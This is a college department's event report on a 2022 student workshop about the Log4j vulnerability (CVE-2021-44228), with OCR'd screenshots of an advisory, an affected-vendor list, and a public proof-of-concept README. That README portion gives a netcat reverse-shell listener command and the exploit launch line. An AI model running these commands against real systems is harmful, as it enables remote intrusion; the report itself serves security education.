



Sandip Foundation's
Sandip Institute of Engineering and Management,
Mahiravani, Trimbak Road, Nashik-422213



Department of Computer Engineering

Institute Vision

We at SIEM aspire to be a globally recognized Institute that delivers a world class education to outstanding intellectual by nurturing and grooming by their interest, creative abilities and thrusts to acquire a life-long learning so as to imbibe values of their commitment towards society.

Department Vision

The department aims to be recognized in the field of quality education through excellence in teaching, learning, research and innovation for the betterment of society.

EVENT REPORT

On

Workshop on “Log4j Vulnerability”

Name of Event: Workshop on “Log4j Vulnerability”

Date of Event: 15th Jan 2022

Coordinator of Event: Dr. Kamini A. Shirsath

Name and Details of Resource Person: Mr Vishal Waghmare, Software Developer, Hacksudo Nashik.

No of Participants: 50

Details of Participants: Third Year Computer Engineering Students

Program Outcome Mapped: PO5, PSO1

Objectives: To provide knowledge and awareness about cyber security related ethics, issues.

To understand the various tools used in cyber security.

To understand issues in cybercrime and different attacks

Outcome: 1. Understanding of concepts related to Network Security

2. Analyse threats in order to protect or defend it in cyberspace from cyber-attacks.

3. Understanding of appropriate security solutions against cyber-attacks.

Photos:

Inbox (24) - vishal.mahale@sien Meet - yjq-zeuz-qmo

meet.google.com/yjq-zeuz-qmo?pli=1&authuser=0

Hack Shala is presenting

Search vulnerability database


With exploit
 With patch

List of vendors and software affected by the Apache Log4J vulnerability (CVE-2021-44228)

On this page we display a list of vendors and their software affected by the code injection vulnerability in the Apache Log4J. This page is being updated in real time as soon as we issue the corresponding security bulletin.

Updated: 18 days ago

Patch availability statistics by software



Legend: ● Not Patched, ● Patched

Hack Shala

Prabodh Narkhede

34 Chetan Lahase

Digvijay Patil

Nishad Jangam

Dhanesh Vasalkar

44 others

You

11:05 AM | yjq-zeuz-qmo

Type here to search

24°C Partly sunny

ENG 11:05 AM IN 1/15/2022

Inbox (24) - vishal.mahale@sien Meet - yjq-zeuz-qmo

meet.google.com/yjq-zeuz-qmo?pli=1&authuser=0

Hack Shala is presenting

18	Apache Foundation	Apache Ozone	SB2021121622
19	Apache Foundation	SkyWalking	SB2021121623
20	Apache Foundation	Apache Traffic Control	SB2021121624
21	Apache Foundation	Apache NiFi	SB2021121705
22	Apache Foundation	Apache Tapestry	SB2021121718
23	Apache Foundation	Apache Spark	SB2021121722
24	Apereo Foundation	Apereo CAS	SB2021121347
25	Apereo Foundation		SB2021121508
26	Arduino		SB2021121717
27	Arista Networks	CloudVision Portal	SB2021121723
28	Atlassian	Bitbucket Server	SB2021121607
29	Brian Flangburn	SwingSet	SB2021121509
30	Clavister	IntCenter	SB2021121625
31	Cloud Foundry Foundation	CF Deployment	SB2021122016
32	cPanel, Inc	cPanel	SB2021121348
33	Debian	apache-log4j2 (Debian package)	SB2021121201
34	Dell	EMC NetWorker Server	SB2021121534
35	Dell	Dell NetWorker Virtual Edition	SB2021121635

Hack Shala

Prabodh Narkhede

34 Chetan Lahase

Digvijay Patil

Nishad Jangam

Dhanesh Vasalkar

46 others

You

11:06 AM | yjq-zeuz-qmo

Type here to search

24°C Partly sunny

ENG 11:06 AM IN 1/15/2022

Hack Shala is presenting

logging.apache.org/log4j/2.x/security.html

This issue was discovered by Kai Mindermann of IC Consult and separately by 4rat1n. Additional vulnerability details discovered independently by Ash Fox of Google, Alvaro Muñoz and Tony Torralba from GitHub, Anthony Weems of Praetorian, and Rytalak (@rytalak).

References

- CVE-2021-45046
- LOG4J-3221

Fixed in Log4j 2.15.0 (Java 8)

CVE-2021-44228 Apache Log4j JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints.

CVE-2021-44228	Remote Code Execution
Severity	Critical
Base CVSS Score	10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:HA/H
Versions Affected	All versions from 2.0 beta1 to 2.14.1

Description

In Apache Log4j2 versions up to and including 2.14.1 (excluding security releases 2.3.1, 2.12.2 and 2.12.3), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP endpoints when message lookup substitution is enabled.

aninda_anon has left the meeting

11:06 AM | yjq-zeuz-qmo

Hack Shala is presenting

GitHub - kozmer/log4j-4: s/terminal 12:14 PM

GitHub - kozmer/log4j-shell: A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. - Mozilla Firefox

GitHub - fullhunt/log4j - x 192.168.43.65:8080/

https://github.com/kozmer/log4j-shell

Kali Linux | Kali Training | Kali Tools | Kali Forums | Kali Docs | NetHunter | Offensive Security | MSFU | Exploit-DB

README.md

PROOF-OF-CONCEPT (POC)

As a PoC we have created a python file that automates the process.

Requirements:

```
pip install -r requirements.txt
```

Usage:

- Start a netcat listener to accept reverse shell connection.

```
nc -lvp 9901
```

- Launch the exploit.

Note: For this to work, the extracted java archive has to be named: `jdk1-8_0_26_*`, and be in the same directory.

```
$ python3 poc.py --userip localhost --webport 8080 --lport 9901
```

```
[*] CVE: CVE-2021-44228
```

```
[*] Github repo: https://github.com/kozmer/log4j-shell
```

11:14 AM | yjq-zeuz-qmo

Head of Computer Departmen